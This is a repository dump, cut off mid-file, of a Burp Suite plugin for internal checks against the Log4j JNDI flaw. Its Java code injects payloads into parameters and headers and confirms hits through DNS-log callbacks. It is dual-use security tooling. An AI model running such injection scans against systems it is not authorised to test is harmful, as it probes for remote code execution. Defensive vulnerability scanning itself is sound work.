├── .gitignore ├── README.md ├── images ├── 1.png ├── 11.png ├── 12.png ├── 14.png ├── 15.png ├── 2.png ├── 3.png ├── 4.png ├── 5.png ├── 6.png ├── 7.png ├── 8.png └── 9.png ├── pom.xml └── src └── main ├── java └── burp │ ├── Application │ ├── ExtensionInterface │ │ ├── AAppExtension.java │ │ └── IAppExtension.java │ └── RemoteCmdExtension │ │ ├── ExtensionMethod │ │ └── RemoteCmdScan.java │ │ └── RemoteCmd.java │ ├── Bootstrap │ ├── BurpAnalyzedRequest.java │ ├── CustomBurpHelpers.java │ ├── CustomBurpUrl.java │ ├── CustomHelpers.java │ ├── GlobalVariableReader.java │ └── YamlReader.java │ ├── BurpExtender.java │ ├── CustomErrorException │ └── TaskTimeoutException.java │ ├── CustomScanIssue.java │ ├── DnsLogModule │ ├── DnsLog.java │ ├── ExtensionInterface │ │ ├── DnsLogAbstract.java │ │ └── DnsLogInterface.java │ └── ExtensionMethod │ │ ├── BurpDnsLog.java │ │ ├── Ceye.java │ │ └── DnsLogCn.java │ └── Ui │ ├── BaseSettingTag.java │ ├── ScanQueueTag.java │ └── Tags.java └── resources └── config.yml /.gitignore: -------------------------------------------------------------------------------- 1 | .idea 2 | .DS_Store 3 | .settings 4 | .classpath 5 | .project 6 | out 7 | target 8 | log4j2Scan.iml -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | # log4jScan 2 | 3 | 用于帮助企业内部快速扫描log4j的jndi漏洞的burp插件 4 | 5 | # 免责声明 6 | 7 | 该工具仅用于安全自查检测 8 | 9 | 由于传播、利用此工具所提供的信息而造成的任何直接或者间接的后果及损失,均由使用者本人负责,作者不为此承担任何责任。 10 | 11 | 本人拥有对此工具的修改和解释权。未经网络安全部门及相关部门允许,不得善自使用本工具进行任何攻击活动,不得以任何方式将其用于商业目的。 12 | 13 | # 简介 14 | 15 | log4jScan 一个用于企业内部排查log4j漏洞的插件 16 | 17 | 该插件会对BurpSuite传进来的请求包进行检测 18 | 19 | 目前的功能如下 20 | - 远程命令执行 21 | 22 | # 请注意!!!! 23 | 24 | 下载完毕以后,请务必打开 /resources/config.yml 看看配置文件,里面有很多自定义的功能,可以自由选择!! 25 | 26 | 下载完毕以后,请务必打开 /resources/config.yml 看看配置文件,里面有很多自定义的功能,可以自由选择!! 27 | 28 | 下载完毕以后,请务必打开 /resources/config.yml 看看配置文件,里面有很多自定义的功能,可以自由选择!! 29 | 30 | 推荐使用burp2.x的版本,因为在新版burp中,被动扫描会自动成多线程扫描,扫描速度会快很多很多 31 | 32 | 推荐使用burp2.x的版本,因为在新版burp中,被动扫描会自动成多线程扫描,扫描速度会快很多很多 33 | 34 | 推荐使用burp2.x的版本,因为在新版burp中,被动扫描会自动成多线程扫描,扫描速度会快很多很多 35 | 36 | 请自行下载源码,使用与BurpSuite同版本的jdk进行编译,谢谢 37 | 38 | 请自行下载源码,使用与BurpSuite同版本的jdk进行编译,谢谢 39 | 40 | 请自行下载源码,使用与BurpSuite同版本的jdk进行编译,谢谢 41 | 42 | # 检测规则 43 | 44 | ``` 45 | 暂时只支持以下类型,进行扫描log4j的jndi漏洞 46 | 47 | - GET 48 | - POST 49 | - Cookie 50 | - JSON 51 | - Xml 52 | - Body 53 | - Header 54 | - 参数为json的字符串,例如:test={"a":1,"b":"b2","c":[{"cc1":"aa123","cc2":123}]} 55 | ``` 56 | 57 | # 编译方法 58 | 59 |
60 | 编译方法 61 | 62 | 这是一个 java maven项目 63 | 64 | 导入idea,打开刚刚好下载好的源码 65 | 66 | ![](./images/1.png) 67 | 68 | 打开: /log4jScan/pom.xml 安装对应的包,第一次安装依赖包需要比较久,慢慢等不要急 69 | 70 | ![](./images/2.png) 71 | 72 | ![](./images/3.png) 73 | 74 | 编译文件地址: /log4jScan/target/log4jScan/ 75 | 76 | jar包地址: /log4jScan/target/log4jScan/log4jScan.jar 77 | 78 | 项目配置文件地址: /log4jScan/target/log4jScan/resources/config.yml 79 | 80 | 接着拿着这个jar包, 导入BurpSuite即可 81 | 82 |
83 | 84 | # 安装方法 85 | 86 | ![](./images/4.png) 87 | 88 | ![](./images/5.png) 89 | 90 | ![](./images/6.png) 91 | 92 | # 使用方法 93 | 94 | 我们正常去访问网站, 如果站点的某个请求出现了,那么该插件就会去尝试检测 95 | 96 | 访问完毕以后, 插件就会自动去进行扫描 97 | 98 | 如果有结果那么插件就会在以下地方显示 99 | - Tag 100 | - Extender 101 | - Scanner-Issue activity 102 | 103 | # 问题查看 104 | 105 | 目前有这几个地方可以查看 106 | 107 | ![](./images/7.png) 108 | 109 | ![](./images/8.png) 110 | 111 | ![](./images/9.png) 112 | 113 | # tag界面查看漏洞情况 114 | 115 | ``` 116 | 现在可以通过tag界面查看漏洞情况了 117 | 118 | 分别会返回 119 | - request parameter no eligible = 请求参数不符合条件(扫描类型设置中控制) 120 | - the number of website problems has exceeded = exceeded 超出网站问题的数量 121 | - the number of website scans exceeded = 超出网站可扫描次数 122 | - waiting for test results = 等待测试结果 123 | - [+] found log4j command execution = 查找到log4j命令执行 124 | - [-] not found log4j command execution = 没有查找到log4j命令执行 125 | - [x] scan task timed out = 扫描任务超时 126 | - [x] unknown error = 未知的错误 127 | ``` 128 | 129 | # 疑难杂症解决 130 | 131 | 假如扫描出问题了,想要重新扫描怎么办? 132 | 133 | 例如tag一直出现如下问题: 134 | - the number of website problems has exceeded = exceeded 超出网站问题的数量 135 | - the number of website scans exceeded = 超出网站可扫描次数 136 | 137 | 解决方案: 138 | ![](./images/11.png) 139 | 140 | # 如何切换dnslog的问题 141 | 142 | 编译完毕以后,进入log4j文件夹,进入resources目录,打开config.yml 143 | 144 | 如下: 145 | ![](./images/12.png) 146 | 147 | 如果是想换成 DnsLogCn/BurpDnsLog 的话,只需要替换 provider这个值为对应的即可 148 | 149 | 如果想使用Ceye,那就需要如下操作: 150 | 151 | ![](./images/14.png) 152 | 153 | 获取token与Identifier 154 | 155 | 然后打开config.yml,填写成如下样子,如何重新安装插件即可: 156 | ![](./images/15.png) -------------------------------------------------------------------------------- /images/1.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/pmiaowu/log4j2Scan/6ce313b1503e742f6289d1b7d830ab0fd3a9dc30/images/1.png -------------------------------------------------------------------------------- /images/11.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/pmiaowu/log4j2Scan/6ce313b1503e742f6289d1b7d830ab0fd3a9dc30/images/11.png -------------------------------------------------------------------------------- /images/12.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/pmiaowu/log4j2Scan/6ce313b1503e742f6289d1b7d830ab0fd3a9dc30/images/12.png -------------------------------------------------------------------------------- /images/14.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/pmiaowu/log4j2Scan/6ce313b1503e742f6289d1b7d830ab0fd3a9dc30/images/14.png -------------------------------------------------------------------------------- /images/15.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/pmiaowu/log4j2Scan/6ce313b1503e742f6289d1b7d830ab0fd3a9dc30/images/15.png -------------------------------------------------------------------------------- /images/2.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/pmiaowu/log4j2Scan/6ce313b1503e742f6289d1b7d830ab0fd3a9dc30/images/2.png -------------------------------------------------------------------------------- /images/3.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/pmiaowu/log4j2Scan/6ce313b1503e742f6289d1b7d830ab0fd3a9dc30/images/3.png -------------------------------------------------------------------------------- /images/4.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/pmiaowu/log4j2Scan/6ce313b1503e742f6289d1b7d830ab0fd3a9dc30/images/4.png -------------------------------------------------------------------------------- /images/5.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/pmiaowu/log4j2Scan/6ce313b1503e742f6289d1b7d830ab0fd3a9dc30/images/5.png -------------------------------------------------------------------------------- /images/6.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/pmiaowu/log4j2Scan/6ce313b1503e742f6289d1b7d830ab0fd3a9dc30/images/6.png -------------------------------------------------------------------------------- /images/7.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/pmiaowu/log4j2Scan/6ce313b1503e742f6289d1b7d830ab0fd3a9dc30/images/7.png -------------------------------------------------------------------------------- /images/8.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/pmiaowu/log4j2Scan/6ce313b1503e742f6289d1b7d830ab0fd3a9dc30/images/8.png -------------------------------------------------------------------------------- /images/9.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/pmiaowu/log4j2Scan/6ce313b1503e742f6289d1b7d830ab0fd3a9dc30/images/9.png -------------------------------------------------------------------------------- /pom.xml: -------------------------------------------------------------------------------- 1 | 2 | 5 | 4.0.0 6 | 7 | com.github.pmiaowu 8 | log4j2Scan 9 | 1.6.3 10 | 11 | 12 | 13 | 14 | net.portswigger.burp.extender 15 | burp-extender-api 16 | 2.3 17 | 18 | 19 | 20 | 21 | com.github.kevinsawicki 22 | http-request 23 | 6.0 24 | 25 | 26 | 27 | 28 | org.yaml 29 | snakeyaml 30 | 1.33 31 | 32 | 33 | 34 | 35 | com.alibaba 36 | fastjson 37 | 1.2.78 38 | 39 | 40 | 41 | 42 | 43 | 44 | org.apache.maven.plugins 45 | maven-compiler-plugin 46 | 3.8.1 47 | 48 | 1.8 49 | 1.8 50 | UTF-8 51 | 52 | 53 | 54 | org.apache.maven.plugins 55 | maven-assembly-plugin 56 | 3.3.0 57 | 58 | 59 | log4j2Scan 60 | false 61 | 62 | 63 | burp.BurpExtender 64 | 65 | 66 | 67 | jar-with-dependencies 68 | 69 | 70 | ${project.build.directory}/log4j2Scan 71 | 72 | 73 | 74 | 75 | 76 | 77 | make-assembly 78 | package 79 | 80 | single 81 | 82 | 83 | 84 | 85 | 86 | org.apache.maven.plugins 87 | maven-resources-plugin 88 | 3.2.0 89 | 90 | 91 | copy-resources 92 | package 93 | 94 | copy-resources 95 | 96 | 97 | ${project.build.directory}/log4j2Scan/resources 98 | 99 | 100 | src/main/resources 101 | 102 | **/* 103 | 104 | true 105 | 106 | 107 | UTF-8 108 | 109 | 110 | 111 | 112 | 113 | 114 | -------------------------------------------------------------------------------- /src/main/java/burp/Application/ExtensionInterface/AAppExtension.java: -------------------------------------------------------------------------------- 1 | package burp.Application.ExtensionInterface; 2 | 3 | import burp.IHttpRequestResponse; 4 | 5 | /** 6 | * Application扩展的抽象类 7 | * 所有的 Application扩展 都要继承它并实现所有的接口,才能正常运行 8 | */ 9 | public abstract class AAppExtension implements IAppExtension { 10 | private String extensionName = ""; 11 | 12 | private Boolean isRegister = false; 13 | 14 | private Boolean isIssues = false; 15 | 16 | private IHttpRequestResponse httpRequestResponse; 17 | 18 | /** 19 | * 设置扩展名称 (必须的) 20 | * 21 | * @param name 22 | */ 23 | protected void setExtensionName(String name) { 24 | if (name == null || name.isEmpty()) { 25 | throw new IllegalArgumentException("Application-扩展名称不能为空"); 26 | } 27 | this.extensionName = name; 28 | } 29 | 30 | /** 31 | * 获取扩展名称 32 | * 33 | * @return String 34 | */ 35 | @Override 36 | public String getExtensionName() { 37 | return this.extensionName; 38 | } 39 | 40 | /** 41 | * 注册插件 (必须的) 42 | * 扩展在运行之前必须调用该接口注册, 否则将无法调用本类的其他方法 43 | */ 44 | protected void registerExtension() { 45 | this.isRegister = true; 46 | } 47 | 48 | /** 49 | * 是否注册了该扩展 50 | * true 注册, false 未注册 51 | * 注: 未注册的扩展禁止执行 52 | * 53 | * @return Boolean 54 | */ 55 | @Override 56 | public Boolean isRegister() { 57 | return this.isRegister; 58 | } 59 | 60 | /** 61 | * 设置问题状态 62 | */ 63 | protected void setIssueState(Boolean state) { 64 | this.isIssues = state; 65 | } 66 | 67 | /** 68 | * 是否有问题 69 | * 70 | * @return 71 | */ 72 | @Override 73 | public Boolean isIssue() { 74 | return this.isIssues; 75 | } 76 | 77 | /** 78 | * 设置http请求与响应对象 79 | * 80 | * @param httpRequestResponse 81 | */ 82 | protected void setHttpRequestResponse(IHttpRequestResponse httpRequestResponse) { 83 | this.httpRequestResponse = httpRequestResponse; 84 | } 85 | 86 | /** 87 | * 获取http请求与响应对象 88 | * 89 | * @return IHttpRequestResponse 90 | */ 91 | @Override 92 | public IHttpRequestResponse getHttpRequestResponse() { 93 | return this.httpRequestResponse; 94 | } 95 | } 96 | -------------------------------------------------------------------------------- /src/main/java/burp/Application/ExtensionInterface/IAppExtension.java: -------------------------------------------------------------------------------- 1 | package burp.Application.ExtensionInterface; 2 | 3 | import burp.IHttpRequestResponse; 4 | import burp.IScanIssue; 5 | 6 | /** 7 | * Application扩展程序的公共接口 8 | * 所有Application扩展的抽象类都要继承它并实现所有的接口,才能正常运行 9 | */ 10 | public interface IAppExtension { 11 | /** 12 | * 获取-扩展名称 13 | * 14 | * @return 15 | */ 16 | String getExtensionName(); 17 | 18 | /** 19 | * 是否注册了该扩展 20 | * 21 | * @return 22 | */ 23 | Boolean isRegister(); 24 | 25 | /** 26 | * 是否有问题 27 | * 28 | * @return 29 | */ 30 | Boolean isIssue(); 31 | 32 | /** 33 | * 获得-http请求响应 34 | * 35 | * @return 36 | */ 37 | IHttpRequestResponse getHttpRequestResponse(); 38 | 39 | /** 40 | * burp问题详情输出 41 | * 42 | * @return 43 | */ 44 | IScanIssue export(); 45 | 46 | /** 47 | * 控制台输出 48 | */ 49 | void consoleExport(); 50 | } 51 | -------------------------------------------------------------------------------- /src/main/java/burp/Application/RemoteCmdExtension/ExtensionMethod/RemoteCmdScan.java: -------------------------------------------------------------------------------- 1 | package burp.Application.RemoteCmdExtension.ExtensionMethod; 2 | 3 | import java.io.UnsupportedEncodingException; 4 | import java.net.URL; 5 | import java.net.URLEncoder; 6 | import java.util.Date; 7 | import java.util.List; 8 | import java.util.ArrayList; 9 | import java.io.PrintWriter; 10 | 11 | import burp.*; 12 | 13 | import burp.Bootstrap.GlobalVariableReader; 14 | import burp.CustomScanIssue; 15 | import burp.DnsLogModule.DnsLog; 16 | import burp.Bootstrap.YamlReader; 17 | import burp.Bootstrap.CustomHelpers; 18 | import burp.Bootstrap.BurpAnalyzedRequest; 19 | import burp.Application.ExtensionInterface.AAppExtension; 20 | import burp.CustomErrorException.TaskTimeoutException; 21 | 22 | public class RemoteCmdScan extends AAppExtension { 23 | private GlobalVariableReader globalVariableReader; 24 | 25 | private IBurpExtenderCallbacks callbacks; 26 | private IExtensionHelpers helpers; 27 | 28 | private BurpAnalyzedRequest analyzedRequest; 29 | 30 | private DnsLog dnsLog; 31 | 32 | private YamlReader yamlReader; 33 | 34 | private List payloads; 35 | 36 | private Date startDate; 37 | private int maxExecutionTime; 38 | 39 | private String sendDnsLogUrl; 40 | 41 | private ArrayList keyArrayList = new ArrayList<>(); 42 | private ArrayList dnsLogUrlArrayList = new ArrayList<>(); 43 | private ArrayList httpRequestResponseArrayList = new ArrayList<>(); 44 | 45 | public RemoteCmdScan(GlobalVariableReader globalVariableReader, 46 | IBurpExtenderCallbacks callbacks, BurpAnalyzedRequest analyzedRequest, 47 | DnsLog dnsLog, YamlReader yamlReader, List payloads, 48 | Date startDate, Integer maxExecutionTime) { 49 | this.globalVariableReader = globalVariableReader; 50 | 51 | this.callbacks = callbacks; 52 | this.helpers = callbacks.getHelpers(); 53 | 54 | this.analyzedRequest = analyzedRequest; 55 | 56 | this.dnsLog = dnsLog; 57 | 58 | this.yamlReader = yamlReader; 59 | 60 | this.payloads = payloads; 61 | 62 | this.startDate = startDate; 63 | this.maxExecutionTime = maxExecutionTime; 64 | 65 | this.setExtensionName("RemoteCmdScan"); 66 | this.registerExtension(); 67 | 68 | this.runExtension(); 69 | } 70 | 71 | private void runExtension() { 72 | for (IParameter parameter : analyzedRequest.getEligibleParameters()) { 73 | for (String payload : this.payloads) { 74 | // 这个参数为true说明插件已经被卸载,退出所有任务,避免继续扫描 75 | if (this.globalVariableReader.getBooleanData("isExtensionUnload")) { 76 | return; 77 | } 78 | 79 | // 说明接收到了dnslog请求确定是FastJson 80 | if (this.isIssue()) { 81 | return; 82 | } 83 | 84 | // 如果dnslog有内容但是 this.isIssue() 为false 85 | // 这可能是因为 请求发出去了 dnslog还没反应过来 86 | // 这种情况后面的循环就没必要了, 退出该循环 87 | // 等待二次验证即可 88 | if (this.dnsLog.run().getBodyContent() != null) { 89 | if (this.dnsLog.run().getBodyContent().length() >= 1) { 90 | break; 91 | } 92 | } 93 | 94 | // 判断程序是否运行超时 95 | Integer startTime = CustomHelpers.getSecondTimestamp(this.startDate); 96 | Integer currentTime = CustomHelpers.getSecondTimestamp(new Date()); 97 | Integer runTime = currentTime - startTime; 98 | if (runTime >= this.maxExecutionTime) { 99 | throw new TaskTimeoutException("scan task timed out"); 100 | } 101 | 102 | // 实际业务处理 103 | this.remoteCmdDetection(parameter, payload); 104 | } 105 | } 106 | 107 | // 防止因为dnslog卡导致没有检测到的问题, 这里进行二次检测, 保证不会漏报 108 | // 睡眠一段时间, 给dnslog一个缓冲时间 109 | try { 110 | Thread.sleep(8000); 111 | } catch (InterruptedException e) { 112 | throw new RuntimeException(e); 113 | } 114 | 115 | // 开始进行二次验证 116 | String dnsLogBodyContent = this.dnsLog.run().getBodyContent(); 117 | if (dnsLogBodyContent == null || dnsLogBodyContent.length() <= 0) { 118 | return; 119 | } 120 | 121 | // 这里进行二次判断 122 | for (int i = 0; i < this.keyArrayList.size(); i++) { 123 | // dnslog 内容匹配判断 124 | if (!dnsLogBodyContent.contains(this.keyArrayList.get(i))) { 125 | if ((i + 1) != this.keyArrayList.size()) { 126 | continue; 127 | } else { 128 | return; 129 | } 130 | } 131 | 132 | // 设置问题详情 133 | this.setIssuesDetail(this.httpRequestResponseArrayList.get(i), this.dnsLogUrlArrayList.get(i)); 134 | return; 135 | } 136 | } 137 | 138 | private void remoteCmdDetection(IParameter parameter, String payload) { 139 | String key = CustomHelpers.randomStr(15); 140 | String dnsLogUrl = key + "." + this.dnsLog.run().getTemporaryDomainName(); 141 | 142 | // 构造header头的payload 143 | List newHeaders = new ArrayList<>(); 144 | List headers = this.yamlReader.getStringList("application.remoteCmdExtension.config.headers"); 145 | if (headers != null && headers.size() >= 1) { 146 | for (int i = 0; i < headers.size(); i++) { 147 | newHeaders.add(headers.get(i) + ": " + payload.replace("dnslog-url", (i + 1) + "." + dnsLogUrl)); 148 | } 149 | } 150 | 151 | String newPayload = ""; 152 | if (CustomHelpers.isJson(parameter.getValue())) { 153 | // 参数为json时的payload构造方法 154 | // 例如: a={"a":1,"b":"ccccc"} 155 | String jsonPayload = CustomHelpers.jsonStringValueReplace(parameter.getValue(), payload); 156 | String[] jsonPayloadList = jsonPayload.split("dnslog-url"); 157 | for (int i = 0; i < jsonPayloadList.length; i++) { 158 | if (jsonPayloadList.length != (i + 1)) { 159 | newPayload += jsonPayloadList[i] + (i + 1) + "." + "json" + "." + dnsLogUrl; 160 | } else { 161 | newPayload += jsonPayloadList[i]; 162 | } 163 | } 164 | } else if (parameter.getType() == 0) { 165 | try { 166 | newPayload = URLEncoder.encode(payload.replace("dnslog-url", dnsLogUrl), "UTF-8"); 167 | } catch (UnsupportedEncodingException e) { 168 | e.printStackTrace(new PrintWriter(callbacks.getStderr(), true)); 169 | } 170 | } else { 171 | // 构造普通参数的payload 172 | newPayload = payload.replace("dnslog-url", dnsLogUrl); 173 | } 174 | 175 | // 发送请求 176 | IHttpRequestResponse newHttpRequestResponse = analyzedRequest.makeHttpRequest(parameter, newPayload, newHeaders); 177 | 178 | // 相关变量设置 179 | this.keyArrayList.add(key); 180 | this.dnsLogUrlArrayList.add(dnsLogUrl); 181 | this.httpRequestResponseArrayList.add(newHttpRequestResponse); 182 | 183 | // dnslog 返回的内容判断 184 | String dnsLogBodyContent = this.dnsLog.run().getBodyContent(); 185 | if (dnsLogBodyContent == null || dnsLogBodyContent.length() <= 0) { 186 | return; 187 | } 188 | 189 | // dnslog 内容匹配判断 190 | if (!dnsLogBodyContent.contains(key)) { 191 | return; 192 | } 193 | 194 | // 设置问题详情 195 | this.setIssuesDetail(newHttpRequestResponse, dnsLogUrl); 196 | } 197 | 198 | /** 199 | * 设置问题详情 200 | */ 201 | private void setIssuesDetail(IHttpRequestResponse httpRequestResponse, String dnsLogUrl) { 202 | this.setIssueState(true); 203 | this.setHttpRequestResponse(httpRequestResponse); 204 | 205 | this.sendDnsLogUrl = dnsLogUrl; 206 | } 207 | 208 | @Override 209 | public IScanIssue export() { 210 | if (!this.isIssue()) { 211 | return null; 212 | } 213 | 214 | IHttpRequestResponse newHttpRequestResponse = this.getHttpRequestResponse(); 215 | URL newHttpRequestUrl = this.helpers.analyzeRequest(newHttpRequestResponse).getUrl(); 216 | 217 | String str1 = String.format("
=============RemoteCmdExtension============
"); 218 | String str2 = String.format("ExtensionMethod: %s
", this.getExtensionName()); 219 | String str3 = String.format("sendDnsLogUrl: %s
", this.sendDnsLogUrl); 220 | String str4 = String.format("=====================================
"); 221 | 222 | // dnslog 详情输出 223 | String str5 = this.dnsLog.run().export(); 224 | 225 | // dnslog body内容输出 226 | String str6 = String.format("
=============DnsLogBodyContent============
"); 227 | String str7 = this.dnsLog.run().getBodyContent(); 228 | String str8 = String.format("
=====================================
"); 229 | 230 | String detail = str1 + str2 + str3 + str4 + str5 + str6 + str7 + str8; 231 | 232 | String issueName = this.yamlReader.getString("application.remoteCmdExtension.config.issueName"); 233 | 234 | return new CustomScanIssue( 235 | newHttpRequestUrl, 236 | issueName, 237 | 0, 238 | "High", 239 | "Certain", 240 | null, 241 | null, 242 | detail, 243 | null, 244 | new IHttpRequestResponse[]{newHttpRequestResponse}, 245 | newHttpRequestResponse.getHttpService() 246 | ); 247 | } 248 | 249 | @Override 250 | public void consoleExport() { 251 | if (!this.isIssue()) { 252 | return; 253 | } 254 | 255 | IHttpRequestResponse newHttpRequestResponse = this.getHttpRequestResponse(); 256 | URL newHttpRequestUrl = this.helpers.analyzeRequest(newHttpRequestResponse).getUrl(); 257 | PrintWriter stdout = new PrintWriter(this.callbacks.getStdout(), true); 258 | 259 | stdout.println(""); 260 | stdout.println("===========RemoteCmdExtension详情============"); 261 | stdout.println("你好呀~ (≧ω≦*)喵~"); 262 | stdout.println("这边检测到有一个站点有命令执行并且dns出网 喵~"); 263 | stdout.println(String.format("负责检测的插件: %s", this.getExtensionName())); 264 | stdout.println(String.format("url: %s", newHttpRequestUrl)); 265 | stdout.println(String.format("发送的dnsLogUrl: %s", this.sendDnsLogUrl)); 266 | stdout.println("详情请查看-Burp Scanner模块-Issue activity界面"); 267 | stdout.println("==================================="); 268 | stdout.println(""); 269 | 270 | stdout.println(""); 271 | stdout.println("===========DnsLog正文内容============"); 272 | stdout.println(this.dnsLog.run().getBodyContent()); 273 | stdout.println("==================================="); 274 | stdout.println(""); 275 | 276 | // dnslog 控制台详情输出 277 | this.dnsLog.run().consoleExport(); 278 | } 279 | } -------------------------------------------------------------------------------- /src/main/java/burp/Application/RemoteCmdExtension/RemoteCmd.java: -------------------------------------------------------------------------------- 1 | package burp.Application.RemoteCmdExtension; 2 | 3 | import java.util.Date; 4 | import java.util.List; 5 | import java.lang.reflect.Constructor; 6 | import java.lang.reflect.InvocationTargetException; 7 | 8 | import burp.IBurpExtenderCallbacks; 9 | 10 | import burp.DnsLogModule.DnsLog; 11 | import burp.Bootstrap.YamlReader; 12 | import burp.Bootstrap.BurpAnalyzedRequest; 13 | import burp.Bootstrap.GlobalVariableReader; 14 | import burp.Application.ExtensionInterface.IAppExtension; 15 | 16 | public class RemoteCmd { 17 | private GlobalVariableReader globalVariableReader; 18 | 19 | private IBurpExtenderCallbacks callbacks; 20 | 21 | private BurpAnalyzedRequest analyzedRequest; 22 | 23 | private DnsLog dnsLog; 24 | 25 | private YamlReader yamlReader; 26 | 27 | private IAppExtension remoteCmd; 28 | 29 | // 该模块启动日期 30 | private Date startDate = new Date(); 31 | 32 | public RemoteCmd( 33 | GlobalVariableReader globalVariableReader, 34 | IBurpExtenderCallbacks callbacks, 35 | BurpAnalyzedRequest analyzedRequest, 36 | DnsLog dnsLog, 37 | YamlReader yamlReader, 38 | String callClassName) throws ClassNotFoundException, NoSuchMethodException, InvocationTargetException, InstantiationException, IllegalAccessException { 39 | this.globalVariableReader = globalVariableReader; 40 | 41 | this.callbacks = callbacks; 42 | this.analyzedRequest = analyzedRequest; 43 | 44 | this.dnsLog = dnsLog; 45 | 46 | this.yamlReader = yamlReader; 47 | this.init(callClassName); 48 | } 49 | 50 | private void init(String callClassName) throws ClassNotFoundException, NoSuchMethodException, IllegalAccessException, InvocationTargetException, InstantiationException { 51 | if (callClassName == null || callClassName.length() <= 0) { 52 | throw new IllegalArgumentException("Application.RemoteCmdExtension-请输入要调用的插件名称"); 53 | } 54 | 55 | List payloads = this.yamlReader.getStringList("application.remoteCmdExtension.config.payloads"); 56 | if (payloads == null || payloads.size() == 0) { 57 | throw new IllegalArgumentException("Application.RemoteCmdExtension-获取的payloads为空,无法正常运行"); 58 | } 59 | 60 | Class c = Class.forName("burp.Application.RemoteCmdExtension.ExtensionMethod." + callClassName); 61 | Constructor cConstructor = c.getConstructor( 62 | GlobalVariableReader.class, 63 | IBurpExtenderCallbacks.class, 64 | BurpAnalyzedRequest.class, 65 | DnsLog.class, 66 | YamlReader.class, 67 | List.class, 68 | Date.class, 69 | Integer.class); 70 | this.remoteCmd = (IAppExtension) cConstructor.newInstance( 71 | this.globalVariableReader, 72 | this.callbacks, 73 | this.analyzedRequest, 74 | this.dnsLog, 75 | this.yamlReader, 76 | payloads, 77 | this.startDate, 78 | this.getMaxExecutionTime()); 79 | 80 | if (!this.remoteCmd.isRegister()) { 81 | throw new IllegalArgumentException("该应用模块未注册,无法使用"); 82 | } 83 | 84 | if (this.remoteCmd.getExtensionName().isEmpty()) { 85 | throw new IllegalArgumentException("请为该该应用模块-设置扩展名称"); 86 | } 87 | } 88 | 89 | public IAppExtension run() { 90 | return this.remoteCmd; 91 | } 92 | 93 | /** 94 | * 程序最大执行时间,单位为秒 95 | * 会根据payload的添加而添加 96 | * 97 | * @return 98 | */ 99 | private Integer getMaxExecutionTime() { 100 | Integer maxExecutionTime = this.yamlReader.getInteger("application.remoteCmdExtension.config.maxExecutionTime"); 101 | Integer payloadSize = this.yamlReader.getStringList("application.remoteCmdExtension.config.payloads").size(); 102 | Integer parameterSize = this.analyzedRequest.getEligibleParameters().size(); 103 | maxExecutionTime += (payloadSize * 6) + (parameterSize * 6); 104 | return maxExecutionTime; 105 | } 106 | } 107 | -------------------------------------------------------------------------------- /src/main/java/burp/Bootstrap/BurpAnalyzedRequest.java: -------------------------------------------------------------------------------- 1 | package burp.Bootstrap; 2 | 3 | import burp.*; 4 | import burp.Ui.Tags; 5 | 6 | import java.util.List; 7 | import java.util.ArrayList; 8 | 9 | public class BurpAnalyzedRequest { 10 | private IBurpExtenderCallbacks callbacks; 11 | 12 | private IExtensionHelpers helpers; 13 | 14 | private CustomBurpHelpers customBurpHelpers; 15 | 16 | private IHttpRequestResponse requestResponse; 17 | 18 | private List eligibleParameters = new ArrayList<>(); 19 | 20 | private Tags tags; 21 | 22 | public BurpAnalyzedRequest(IBurpExtenderCallbacks callbacks, Tags tags, IHttpRequestResponse requestResponse) { 23 | this.callbacks = callbacks; 24 | this.helpers = this.callbacks.getHelpers(); 25 | 26 | this.tags = tags; 27 | 28 | this.customBurpHelpers = new CustomBurpHelpers(callbacks); 29 | 30 | this.requestResponse = requestResponse; 31 | 32 | initEligibleParameters(); 33 | } 34 | 35 | public IHttpRequestResponse requestResponse() { 36 | return this.requestResponse; 37 | } 38 | 39 | public IRequestInfo analyzeRequest() { 40 | return this.helpers.analyzeRequest(this.requestResponse.getRequest()); 41 | } 42 | 43 | /** 44 | * 初始化所有符合条件的参数 45 | */ 46 | private void initEligibleParameters() { 47 | List scanTypeList = this.tags.getBaseSettingTagClass().getScanTypeList(); 48 | 49 | List blackListParameters = this.tags.getBaseSettingTagClass().getBlackListParameters(); 50 | 51 | if (!analyzeRequest().getParameters().isEmpty()) { 52 | if (blackListParameters == null || blackListParameters.size() <= 0) { 53 | for (IParameter p : analyzeRequest().getParameters()) { 54 | for (Integer type : scanTypeList) { 55 | if (p.getType() == type) { 56 | this.eligibleParameters.add(p); 57 | } 58 | } 59 | } 60 | } else { 61 | for (IParameter p : analyzeRequest().getParameters()) { 62 | for (Integer type : scanTypeList) { 63 | String name = p.getName().trim(); 64 | if (!CustomHelpers.listKeyExists(name, blackListParameters) && Integer.valueOf(p.getType()).equals(type)) { 65 | this.eligibleParameters.add(p); 66 | } 67 | } 68 | } 69 | } 70 | } 71 | 72 | // 空参数可以进行扫描时,添加一个GET参数作为标志符 73 | Boolean isScanNullParameter = this.tags.getBaseSettingTagClass().isScanNullParameter(); 74 | if (this.eligibleParameters.size() <= 0 && isScanNullParameter) { 75 | this.eligibleParameters.add(this.helpers.buildParameter("headerTest", "test", (byte) 0)); 76 | } 77 | } 78 | 79 | /** 80 | * 获取所有符合条件的json参数 81 | * 82 | * @return List 83 | */ 84 | public List getEligibleParameters() { 85 | return this.eligibleParameters; 86 | } 87 | 88 | /** 89 | * 判断站点是否有符合条件的参数 90 | * 91 | * @return 92 | */ 93 | public Boolean isSiteEligibleParameters() { 94 | if (this.getEligibleParameters().size() > 0) { 95 | return true; 96 | } 97 | 98 | return false; 99 | } 100 | 101 | /** 102 | * 会根据程序类型自动组装请求的 请求发送接口 103 | * 104 | * @param p 105 | * @param payload 106 | * @param headers 107 | * @return 108 | */ 109 | public IHttpRequestResponse makeHttpRequest(IParameter p, String payload, List headers) { 110 | byte[] newRequest; 111 | 112 | // headers头处理 113 | List newHeaders = new ArrayList<>(); 114 | if (headers != null && headers.size() != 0) 